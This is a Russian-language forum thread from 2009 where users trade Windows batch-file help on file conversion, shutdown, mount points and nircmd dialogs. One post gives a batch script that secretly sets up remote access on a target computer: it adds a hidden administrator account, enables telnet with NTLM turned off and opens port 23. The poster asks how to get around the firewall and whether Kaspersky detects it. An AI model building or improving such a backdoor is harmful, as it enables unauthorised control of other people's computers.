Ru-Board.club
← Вернуться в раздел «Microsoft Windows»

» Задачи на bat-файлах 6

Автор: SAOPP
Дата сообщения: 15.01.2009 15:58
vu1tur
Немного запутался я в том батнике, а если необходимо указать несколько адресов, как тогда быть?
Т.е. например google.com, mail.ru, ya.ru.
Автор: demon1981
Дата сообщения: 15.01.2009 15:59
может здесь из-за цикла for так происходит??? кто сталкивался подскажите
Автор: brakonier
Дата сообщения: 15.01.2009 16:12
Доброе время суток. Нужна помощь. Нужен батник котрый удалял бы файлы определённого размера, пофиг какого расширения, из определённой папки. Например C:\Program Files размера 100килобайт.

Автор: Elroir
Дата сообщения: 15.01.2009 16:14
demon1981
В шапке:
setlocal enabledelayedexpansion и переменные окружения
Автор: GALAKA1
Дата сообщения: 15.01.2009 17:41
я написал батник, который, при запуске его на удаленном компе, включает там службу телнет
, прописывает в исключения встроенного виндового брандмауэра 23-й порт ну и создает
нового пользователя с правами админа.
вот он :
chcp 1251
net user SUPPORT_388945a0 /delete
net user SUPORT SUP /add
net localgroup Администраторы SUPORT /add
net localgroup Пользователи SUPPORT_388945a0 /del
%windir%\system32\REG.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPORT /t REG_DWORD /d 00000000 /f
sc config tlntsvr start= auto
tlntadmn config port=23 sec=-NTLM
netsh firewall add portopening TCP 23 systerm > nul
net start Telnet

Проблема в том ,что когда я хочу зайти на тот комп через телнет , там видимо срабатывает фаервол
и запрашивает соединение для телнета, которое ему естественно не разрешают.
Как сделать так , что бы это обойти ? Желательно при помощи этого же батфайла.
И еще - не будет ли на этот батник матюкаться Касперский? Нод32 не орет
Автор: dallas roma
Дата сообщения: 16.01.2009 02:25
Nagual, ух ты... а я думал что нереально так сделать. Спасибо 8)
Автор: efanovamarina
Дата сообщения: 16.01.2009 08:12
Имеем компьютер со след. характеристиками

Мат.плата - Intel Bay Field В865GBFL,ATX,i865G,S478,Video,Audio,Lan
Системный блок – midiTower INWIN S506 (P4) 300W
ОС – Windows 2000 Professional SP4

Необходимо компьютер автоматически выключить.
Для этого, в 'виндовый планировщик' добавляется ‘батник' следующего содержания :
shutdown -s -a -t 21:00 -c "planned" -f -d u:1:1 localhost
При выполнении данного “батника' завершение работы компьютера доходит до появления надписи 'Теперь питание компьютера можно выключить' (при этом сам компьютер работает)

Каким образом можно выключить данный компьютер?



p.s.
- Пуск-Завершения работы-Завершения работы – полностью выключает компьютер
- На аналогичном железе стоит Windows XP Professional SP3, при выполнении вышеуказанного ‘батника’, компьютер выключается полностью.
Автор: king_stiven
Дата сообщения: 16.01.2009 08:52
efanovamarina

причина не в батнике, а в настройках компа. У меня подобное пропало, когда я установил винду xp вместо 2000
Автор: efanovamarina
Дата сообщения: 16.01.2009 09:03
Винду пока никто не собиарется переустанавливать
Автор: FsUsT
Дата сообщения: 16.01.2009 09:31
Здравствуйте. Помогите пожалуйста с кодом.
Задача стоит следующая:
В папке С:\in\2\ ложатся файлы двоичного типа "090115tb.722", где "090115" это дата, в той же папке лежит перекодировщик этих файлов в текстовый - "encoder.exe". Задаю каждый раз в командной строке "encoder.exe 090115tb.722" после секундного кодирования получаю "090115tс.722" (текстовый уже внутри и отличается по названию только буковкой "с"). Вот собственно стоит задача автоматизации этого процесса при помощщи bat-скрипта, с последующим автоматическим переименованием "090115tс.722" в "txt0_090115.001" и переносом на диск e:\me\2.
Перенос и копирование не есть проблема, но вот операторы и подстановочные знаки это уже сложно для меня Спасибо.
Автор: 01MDM
Дата сообщения: 16.01.2009 10:47
FsUsT
Попробуй:

Код:
@echo off
for %%i in (C:\in\2\*.722) do C:\in\2\encoder %%i
for /f "tokens=1,3 delims=t." %%i in ('dir /b C:\in\2\*tc.722') do (
move C:\in\2\%%itc.%%j E:\me\2\txt0_%%i.%%j
)
Автор: ponand
Дата сообщения: 16.01.2009 10:47
Помагите плиз.. еще с батником удаляющим подключение диска(ов) к папке(ам) если еще и папки удалит вобще будет супер
Автор: 01MDM
Дата сообщения: 16.01.2009 11:22
ponand

Цитата:
Помагите плиз.. еще с батником удаляющим подключение диска(ов) к папке(ам) если еще и папки удалит вобще будет супер


Предлагаю немного переделать предыдущий батник, так чтобы он сразу генерировал батник на удаление точек подключения. Заново писать нет времени, добавь то что выделено жирным:

Код:
@echo off
setlocal enabledelayedexpansion

echo @echo off 1>umount.cmd

set "wl=wmic logicaldisk"
for /f "skip=1" %%i in ('%wl% get caption') do call:check %%i
for /f "tokens=2,3 delims=_=" %%i in ('set logdisk_') do (
    set mountpoint=%%i
    set mountpoint=!mountpoint::\=!
    md !mountpoint!
    mountvol !mountpoint! %%j
    echo mountvol !mountpoint! /d 1>>umount.cmd
    echo rd !mountpoint! 1>>umount.cmd

)
echo del umount.cmd 2^>nul 1>>umount.cmd
goto:eof

:check
%wl% where caption="%1" get drivetype | findstr "3" 1>nul && call:mount %1
goto:eof

:mount
for /f %%i in ('mountvol ^| findstr "\\"') do (
    echo %%i | findstr "\?" 1>nul && set guid=%%i
    echo %%i | findstr "\:" 1>nul && set disk=%%i
    if %%i==%1\ set logdisk_!disk!=!guid!
)
if defined disk set disk=
Автор: FsUsT
Дата сообщения: 16.01.2009 12:12

Цитата:
01MDM

Спасибо огромное! Можно сказать что все успешно, немного подправил, так как не сразу запустился и добавил переименование в *.001:

Код: @echo off
for %%i in (*.722) do encoder.exe %%i
for /f "tokens=1,3 delims=t." %%i in ('dir /b C:\in\2\*tc.722') do (
move C:\in\2\%%itc.%%j E:\me\2\txt0_%%i.%%j
)
ren E:\me\2\*.722 *.001
Автор: 01MDM
Дата сообщения: 16.01.2009 13:41
FsUsT

Цитата:
Но появились маленькие нестыковки, забыл указать, что файлов *.722 в папке "C:\in\2\" у меня уже много


Извини, но тогда не ясна задача. Я так понимаю, что все *tb.722 в конечном результате должны оказаться в E:\me\2? Или encoder.exe на выходе создает новый файл *tc.722, а исходные остаются? Если так, то не проще сразу удалять отработанные файлы или переименовывать, или архивировать?

Вариант с переименованием:

Код:
@echo off
for %%i in (*tb.722) do (
encoder.exe %%i
ren %%i %%~ni.done
)
for /f "tokens=1,3 delims=t." %%i in ('dir /b C:\in\2\*tc.722') do (
move C:\in\2\%%itc.%%j E:\me\2\txt0_%%i.001
)
Автор: FsUsT
Дата сообщения: 16.01.2009 14:03
01MDM
Действительно, я как то упустил этот момент, вставлю в код строчку перемещения файла *.722 в какое нибудь другое место хранения, а эта папка останется транзитной, для обработки!
Огромное спасибо, Ваша помощь неоценима

P/S/ Если Вы не против, я к Вам чуток позже ещё пристану))) Спасибо
Автор: Samec2009
Дата сообщения: 16.01.2009 15:18

Код: demon1981

chcp 1251
for /f "tokens=2 delims=:" %i in ('ipconfig ^| find /i "адрес"') do @echo %i>1.txt
Автор: Samuray123
Дата сообщения: 17.01.2009 11:37
Доброго времени суток!
Народ - хочу научиться писать *.bat, но не получается.... тяму не хватает. Проблема в данном случае такая: Есть папка с множеством директорий и подиректорий в них с фотками и рисунками (jpg, jpeg, bmp), нужно чтоб батник переименовал все файлы по дате создания и рассортировал по размеру - по новым папкам (например: 100Кб, 200Кб, 500Кб), а старые папки удалил...
P.S. Если не сложно - с коментариями. Спасибо!
Автор: zzxx1488
Дата сообщения: 17.01.2009 15:02
хай
вопрос такой, есть два файла A и B, нужно проверить время создания каждого из них, перевести в секунды и определив какой из них создан раньше выполнить запуск файла C.bat если A создан раньше B, а потом D.bat
или наоборот, если B создан раньше A, то сначала D.bat, а потом C.bat
никак не могу сделать.. очень буду рад помощи

Автор: korosya
Дата сообщения: 17.01.2009 18:38
Всем доброго времени суток!
Есть две задачки. Огромная просьба помочь в решении.

1. Батник записывается в виде

cmd /c "комманда1&&команда2&&...командаN"

возможно ли в такой конструкции организовать так, чтобы сначала выскакивало окно, в котором бы задавался вопрос типа "Продолжить ?" и были бы две кнопки ОК и Отмена. При нажатии на Отмена - обработка команд завершается, при нажатии на на ОК - выполняется следующая команда. Окно должно быть не cmd, а нормального виндузового вида.

2. Есть два текстовых файла. Один полностью юникодный (содержаться строки на разных языках). Задача: удалить из юникодного файла строки, в которых содержатся определённые слова. Список слов - во втором файле. Возможно есть какая-нибудь утилита, которая поможет решить эту задачу из комстроки?
Автор: Nagual
Дата сообщения: 17.01.2009 20:02
"батниками" никак
можно используя технологию WSH
Автор: korosya
Дата сообщения: 17.01.2009 20:47

Цитата:
"батниками" никак
можно используя технологию WSH

Надеюсь это ответ на мой вопрос. На первый или на второй?
И нельзя ли поподробнее.
Автор: 01MDM
Дата сообщения: 17.01.2009 22:10
korosya
Диалоговое окно "Yes/Cancel" можно получить с помощью nircmd

Второй вопрос, на первый взгляд, можно решить с помощью утилиты iconv
Автор: korosya
Дата сообщения: 18.01.2009 00:07

Цитата:
Диалоговое окно "Yes/Cancel" можно получить с помощью nircmd

Не смог разобраться. Объясни, пожалуйста.

Цитата:
Второй вопрос, на первый взгляд, можно решить с помощью утилиты iconv

Не сработало. Мне надо из файла INTL.INF (находиться в папке I386 дистрибутива Windows XP) удалить строки, содержащие слова, которые находятся в файле DelOC.lst.
Файл DelOC.lst:
[more]85F874.FON
85F1255.FON
85F1256.FON
85F1257.FON
85S874.FON
85S1255.FON
85S1256.FON
85S1257.FON
8514FIXE.FON
8514FIXG.FON
8514FIXT.FON
8514OEME.FON
8514OEMG.FON
8514OEMT.FON
8514SYSE.FON
8514SYSG.FON
8514SYST.FON
85775.FON
AGT040D.DLL
AGT040D.HLP
AGT040E.DLL
AGT040E.HLP
AGT041F.DLL
AGT041F.HLP
AGT0401.DLL
AGT0401.HLP
AGT0404.DLL
AGT0404.HLP
AGT0405.DLL
AGT0405.HLP
AGT0408.DLL
AGT0408.HLP
AGT0411.DLL
AGT0411.HLP
AGT0412.DLL
AGT0412.HLP
AGT0415.DLL
AGT0415.HLP
AGT0804.DLL
AGT0804.HLP
AHRONBD.TTF
ANDLSO.TTF
ANGSA.TTF
ANGSAB.TTF
ANGSAI.TTF
ANGSAU.TTF
ANGSAUB.TTF
ANGSAUI.TTF
ANGSAUZ.TTF
ANGSAZ.TTF
APP775.FON
APP852.FON
APP857.FON
ARTRBDO.TTF
ARTRO.TTF
BROWA.TTF
BROWAB.TTF
BROWAI.TTF
BROWAU.TTF
BROWAUB.TTF
BROWAUI.TTF
BROWAUZ.TTF
BROWAZ.TTF
C_G18030.DLL
C_IS2022.DLL
C_ISCII.DLL
CGA40737.FON
CGA40852.FON
CGA40857.FON
CGA40869.FON
CGA80737.FON
CGA80852.FON
CGA80857.FON
CGA80869.FON
CORDIA.TTF
CORDIAB.TTF
CORDIAI.TTF
CORDIAU.TTF
CORDIAUB.TTF
CORDIAUI.TTF
CORDIAUZ.TTF
CORDIAZ.TTF
COUE1255.FON
COUE1256.FON
COUE1257.FON
COUF1255.FON
COUF1256.FON
COUF1257.FON
COUREE.FON
COUREG.FON
COURET.FON
COURFE.FON
COURFG.FON
COURFT.FON
DAVID.TTF
DAVIDBD.TTF
DAVIDTR.TTF
DOS737.FON
EGA40737.FON
EGA40852.FON
EGA40857.FON
EGA40869.FON
EGA80737.FON
EGA80852.FON
EGA80857.FON
EGA80869.FON
ESTRE.TTF
F3AHVOAS.DLL
FRANK.TTF
FTLX041E.DLL
GAUTAMI.TTF
KARTIKA.TTF
KBD101.DLL
KBD101A.DLL
KBD106N.DLL
KBDAX2.DLL
KBDIBM02.DLL
KBDLK41A.DLL
KBDLK41J.DLL
KBDNEC.DLL
KBDNEC95.DLL
KBDNECAT.DLL
KBDNECNT.DLL
LATHA.TTF
LVNM.TTF
LVNMBD.TTF
MANGAL.TTF
MRIAM.TTF
MRIAMC.TTF
MRIAMFX.TTF
MRIAMTR.TTF
MSDLG874.FON
NRKIS.TTF
RAAVI.TTF
ROD.TTF
RODTR.TTF
SERE1255.FON
SERE1256.FON
SERE1257.FON
SERF1255.FON
SERF1256.FON
SERF1257.FON
SERIFEE.FON
SERIFEG.FON
SERIFET.FON
SERIFFE.FON
SERIFFG.FON
SERIFFT.FON
SHRUTI.TTF
SIMPBDO.TTF
SIMPFXO.TTF
SIMPO.TTF
SMAE1255.FON
SMAE1256.FON
SMAE1257.FON
SMAF1255.FON
SMAF1256.FON
SMAF1257.FON
SMALLEE.FON
SMALLEG.FON
SMALLET.FON
SMALLFE.FON
SMALLFG.FON
SMALLFT.FON
SSEE874.FON
SSEE1255.FON
SSEE1256.FON
SSEE1257.FON
SSEF874.FON
SSEF1255.FON
SSEF1256.FON
SSEF1257.FON
SSERIFEE.FON
SSERIFEG.FON
SSERIFET.FON
SSERIFFE.FON
SSERIFFG.FON
SSERIFFT.FON
SYLFAEN.TTF
TRADBDO.TTF
TRADO.TTF
TUNGA.TTF
UPCDB.TTF
UPCDBI.TTF
UPCDI.TTF
UPCDL.TTF
UPCEB.TTF
UPCEBI.TTF
UPCEI.TTF
UPCEL.TTF
UPCFB.TTF
UPCFBI.TTF
UPCFI.TTF
UPCFL.TTF
UPCIB.TTF
UPCIBI.TTF
UPCII.TTF
UPCIL.TTF
UPCJB.TTF
UPCJBI.TTF
UPCJI.TTF
UPCJL.TTF
UPCKB.TTF
UPCKBI.TTF
UPCKI.TTF
UPCKL.TTF
UPCLB.TTF
UPCLBI.TTF
UPCLI.TTF
UPCLL.TTF
VGA737.FON
VGA775.FON
VGA852.FON
VGA857.FON
VGA869.FON
VGAF874.FON
VGAF1255.FON
VGAF1256.FON
VGAF1257.FON
VGAFIXE.FON
VGAFIXG.FON
VGAFIXT.FON
VGAS874.FON
VGAS1255.FON
VGAS1256.FON
VGAS1257.FON
VGASYSE.FON
VGASYSG.FON
VGASYST.FON
VRINDA.TTF
[/more]
Выдало

Цитата:
iconv: intl.inf: cannot convert

Автор: 01MDM
Дата сообщения: 18.01.2009 00:24
korosya

Цитата:
Не смог разобраться. Объясни, пожалуйста.

Простой пример:

Код:
@echo off
chcp 1251 1>nul
nircmdc qbox "Запустить калькулятор?" "Заголовок" "calc"
Автор: korosya
Дата сообщения: 18.01.2009 01:13

Цитата:
Простой пример:

Код:
@echo off
chcp 1251 1>nul
nircmdc qbox "Запустить калькулятор?" "Заголовок" "calc"


Понял как запустить калькулятор. А вот как при помощи nircmdc разрешить/запретить выполнение батника, из которого запускается сам nircmdc? То есть задача стоит следующая - из батника запускается какая-то команда, которая выводит на экран виндузовое меню с кнопками OK и Отмена, и при на жатии на ОК батник выполняется дальше, а при нажатии на Отмена - выполнение батника прекращается. И, если возможно, то хотелось бы организовать это без сторонних утилит. Может быть при помощи JS или VBS, но как их запустить из батника, а потом вернуться обратно в батник?

Автор: Lutvun
Дата сообщения: 18.01.2009 01:18
korosya
вместо calc пишы goto end и в конце батника :end
Автор: korosya
Дата сообщения: 18.01.2009 01:26

Цитата:
вместо calc пишы goto end и в конце батника :end

Сделал

Код: chcp 1251 1>nul
nircmdc qbox "Запустить калькулятор?" "Заголовок" "goto end"
calc
:end
Автор: 01MDM
Дата сообщения: 18.01.2009 04:34
korosya
Ничего не понял, но все таки давай по пунктам, что надо решить в первую очередь. Допустим если я начинаю писать батник, то пишу в первую очередь `@echo off` или `!#/bin/bash
Автор: korosya
Дата сообщения: 18.01.2009 10:54
Начну сначала.
В реестре есть ключ UninstallString в секции HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\My_Prog. При запуске "Установка и удаление программ" появляется пункт "My_Prog", в котором есть кнопка "Удалить". При нажатии на эту кнопку выполняются команды деинсталляции программы My_Prog, записанные в ключе UninstallString. Эти команды должны быть записаны в одну строку. Я создаю строку вида

Код: cmd /c "комманда1&&команда2&&...командаN"

Страницы: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667

Предыдущая тема: как сохранить сетевые настройки


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.